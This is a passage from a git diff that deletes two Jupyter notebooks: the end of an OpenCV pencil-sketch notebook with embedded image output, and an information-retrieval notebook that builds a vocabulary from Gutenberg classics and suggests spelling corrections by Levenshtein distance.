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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sketch_img = cv2.divide(grey_img,inv_blur_img,scale=256.0)\n", - "sketch_rgb_img = cv2.cvtColor(sketch_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(sketch_rgb_img)" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3 (ipykernel)", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.9.7" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/IPYNB/Information_Retrieval_System.ipynb b/Add Code Here/IPYNB/Information_Retrieval_System.ipynb deleted file mode 100644 index 5e71a35ba63..00000000000 --- a/Add Code Here/IPYNB/Information_Retrieval_System.ipynb +++ /dev/null @@ -1,1391 +0,0 @@ -{ - "cells": [ - { - "cell_type": "code", - "execution_count": 55, - "id": "6e3f146b", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "['alice-in-wonderland.txt', 'black-beauty.txt', 'coral-island.txt', 'great-expectations.txt', 'gullivers-travels.txt', 'hucleberry-finn.txt', 'jane-eyre.txt', 'kidnapped.txt', 'little-women.txt', 'moby-dick.txt', 'oliver-twist.txt', 'robinson-crusoe.txt', 'swiss-family-robinson.txt', 'treasure-island.txt']\n" - ] - } - ], - "source": [ - "import os\n", - "folder=\"classics\\\\classics\"\n", - "print(os.listdir(folder))" - ] - }, - { - "cell_type": "markdown", - "id": "1575fbd7", - "metadata": {}, - "source": [ - "Files in our Information retrieval system(Corpus to be analysed)" - ] - }, - { - "cell_type": "code", - "execution_count": 56, - "id": "99635018", - "metadata": {}, - "outputs": [], - "source": [ - "all_text=[open(os.path.join(folder,file),\"r\",encoding=\"utf-8\").read() for file in os.listdir(folder)]" - ] - }, - { - "cell_type": "code", - "execution_count": 57, - "id": "20b3a406", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "'\\ufeffProject Gutenberg’s'" - ] - }, - "execution_count": 57, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "all_text[0][:20]" - ] - }, - { - "cell_type": "code", - "execution_count": 58, - "id": "e43efe93", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "happiness\n", - "sadness\n", - "4\n" - ] - } - ], - "source": [ - "s1=input()\n", - "s2=input()\n", - "def Levenstein_dist(s1,s2):\n", - " r,c=len(s1),len(s2)\n", - " dp=[[-1 for j in range(0,c+1)]for i in range(0,r+1)]\n", - " for i in range(0,r+1):\n", - " dp[i][0]=i\n", - " for j in range(0,c+1):\n", - " dp[0][j]=j\n", - " for i in range(1,r+1):\n", - " for j in range(1,c+1):\n", - " if(s1[i-1]==s2[j-1]):\n", - " dp[i][j]=dp[i-1][j-1]\n", - " else:\n", - " dp[i][j]=1+min(dp[i-1][j],dp[i][j-1],dp[i-1][j-1])\n", - " return dp[r][c]\n", - "print(Levenstein_dist(s1,s2))\n" - ] - }, - { - "cell_type": "markdown", - "id": "7484b2bf", - "metadata": {}, - "source": [ - "Levenstein/edit distance function" - ] - }, - { - "cell_type": "code", - "execution_count": 59, - "id": "b65adc09", - "metadata": {}, - "outputs": [], - "source": [ - "text_tokens = [[token.strip() for token in text.split()] for text in all_text]" - ] - }, - { - "cell_type": "code", - "execution_count": 60, - "id": "0d70424e", - "metadata": {}, - "outputs": [], - "source": [ - "vocabulary = [token.lower() for token_set in text_tokens for token in token_set]" - ] - }, - { - "cell_type": "code", - "execution_count": 61, - "id": "734397a9", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "1766572" - ] - }, - "execution_count": 61, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "len(vocabulary)" - ] - }, - { - "cell_type": "code", - "execution_count": 62, - "id": "57a831ef", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['\\ufeffproject',\n", - " 'gutenberg’s',\n", - " 'alice’s',\n", - " 'adventures',\n", - " 'in',\n", - " 'wonderland,',\n", - " 'by',\n", - " 'lewis',\n", - " 'carroll',\n", - " 'this']" - ] - }, - "execution_count": 62, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "vocabulary[:10]" - ] - }, - { - "cell_type": "markdown", - "id": "fd132692", - "metadata": {}, - "source": [ - "Displaying our vocabulary from the Information retrieval system" - ] - }, - { - "cell_type": "code", - "execution_count": 63, - "id": "6343f5a3", - "metadata": {}, - "outputs": [], - "source": [ - "def k_nearest_word(s1,vocabulary,k):\n", - " k_nearest_word=[]\n", - " word_dist={}\n", - " for word in vocabulary:\n", - " word_dist[word]=Levenstein_dist(s1,word)\n", - " word_dist=dict(sorted(word_dist.items(), key=lambda item: item[1]))\n", - " ans=[]\n", - " li=list(word_dist.keys())\n", - " for i in range(0,k):\n", - " ans.append(li[i])\n", - " return ans\n", - " " - ] - }, - { - "cell_type": "markdown", - "id": "04f2aa70", - "metadata": {}, - "source": [ - "Function to calculate the k nearest words to a given word matching in the dictionary " - ] - }, - { - "cell_type": "code", - "execution_count": 64, - "id": "54e4e448", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "caroll\n", - "0\n", - "4\n", - "['carroll', 'carol', 'call', 'scroll']\n" - ] - } - ], - "source": [ - "query=input()\n", - "match=25/100 * 14\n", - "docmatches=0\n", - "typo=True\n", - "for flname in os.listdir(folder):\n", - " text=open(os.path.join(folder,flname),\"r\",encoding=\"utf-8\").read()\n", - " for word in text.split():\n", - " if(word.lower()==query):\n", - " docmatches+=1\n", - " break\n", - "print(docmatches)\n", - "if(docmatches/14 *100 >=match):\n", - " typo=False\n", - "if(typo):\n", - " k=int(input())\n", - " li=k_nearest_word(query,vocabulary,k)\n", - " print(li)\n", - "\n", - "\n", - "\n", - " \n" - ] - }, - { - "cell_type": "code", - "execution_count": 51, - "id": "875b36ee", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "tiger\n", - "['tiger', 'wiger', 'liger', 'sniger']\n" - ] - } - ], - "source": [ - "#s=input()\n", - "#vocabulary=[\"hello\",\"mello\",\"bello\",\"tiger\",\"wiger\",\"sniger\",\"liger\"]\n", - "#li=k_nearest_word(s,vocabulary,4)\n", - "#print(li)" - ] - }, - { - "cell_type": "code", - "execution_count": 65, - "id": "5d767e3c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'\\ufeffproject': [1],\n", - " 'gutenberg’s': [1, 10],\n", - " 'alice’s': [1],\n", - " 'adventures': [1, 3, 5, 6, 8, 9, 10, 11, 12, 13, 14],\n", - " 'in': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'wonderland,': [1],\n", - " 'by': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'lewis': [1],\n", - " 'carroll': [1],\n", - " 'this': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'ebook': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'is': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'for': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'the': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'use': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'of': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'anyone': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'anywhere': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'at': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'no': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'cost': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'and': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'with': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'almost': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'restrictions': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'whatsoever.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'you': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'may': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'copy': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'it,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'give': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'it': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'away': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'or': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 